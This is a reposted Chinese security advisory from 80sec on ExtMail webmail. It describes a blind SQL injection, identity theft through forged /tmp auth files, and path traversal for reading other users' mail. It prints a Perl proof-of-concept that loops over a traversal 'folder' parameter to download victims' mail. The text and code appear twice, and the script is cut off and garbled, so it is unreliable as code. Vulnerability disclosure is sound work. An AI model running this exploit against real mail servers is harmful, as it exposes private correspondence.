对Extmail安全漏洞的分析
程序员文章站
2022-06-28 11:33:01
漏洞说明:ExtMail Project 是一个活跃的开源邮件系统项目,目前由ExtMail 团队维护。该项于2005年9月18日正式启动,最初以WebMail软件为主,至今已逐步形成了ExtMail软件系列。整个... 08-10-08...
漏洞说明:extmail project 是一个活跃的开源邮件系统项目,目前由extmail 团队维护。该项于2005年9月18日正式启动,最初以webmail软件为主,至今已逐步形成了extmail软件系列。整个项目的目标是开发出高效、 易用、富有生命力的邮件系统(方案),经过粗略的统计,截止2007年6月份,已有超过3000个服务器在运行extmail软件,其中有超过1000个 运行在互联网上。webmail采取perl语言cgi方式编写,国内众多知名站点均使用extmail,譬如 http://mail.csdn.net。80sec在其产品中发现安全漏洞,包括sql注射,任意用户身份劫持,以及任意信件读取的几个重大安全漏 洞。
漏洞厂商:http://www.extmail.org/
漏洞解析:
1 sql注射漏洞
程序在处理用户登陆参数的地方没有对sql注射进行防护,导致可能产生sql注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取
2 任意用户身份获取漏洞
程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份
3 任意信件读取漏洞
程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。
漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复
漏洞证明:80sec发放任意信件读取漏洞的poc
#!/usr/bin/perl
#exp for ext-mail
#codz by 80sec http://www.80sec.com
use lwp;
my $browser = lwp::useragent->new;
$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';
$argv[0]&&($user=$argv[0]);
open(result,”>>$user.txt”);
for($i=0;;$i ) {
my @headers=(’cookie’=>”sid=$mysid”,’user-agent’=>’mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"sent/../../../${user}/maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;
漏洞厂商:http://www.extmail.org/
漏洞解析:
1 sql注射漏洞
程序在处理用户登陆参数的地方没有对sql注射进行防护,导致可能产生sql注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取
2 任意用户身份获取漏洞
程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份
3 任意信件读取漏洞
程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。
漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复
漏洞证明:80sec发放任意信件读取漏洞的poc
#!/usr/bin/perl
#exp for ext-mail
#codz by 80sec http://www.80sec.com
use lwp;
my $browser = lwp::useragent->new;
$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';
$argv[0]&&($user=$argv[0]);
open(result,”>>$user.txt”);
for($i=0;;$i ) {
my @headers=(’cookie’=>”sid=$mysid”,’user-agent’=>’mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"sent/../../../${user}/maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;
上一篇: 使用FreeBSD防火墙保护企业网络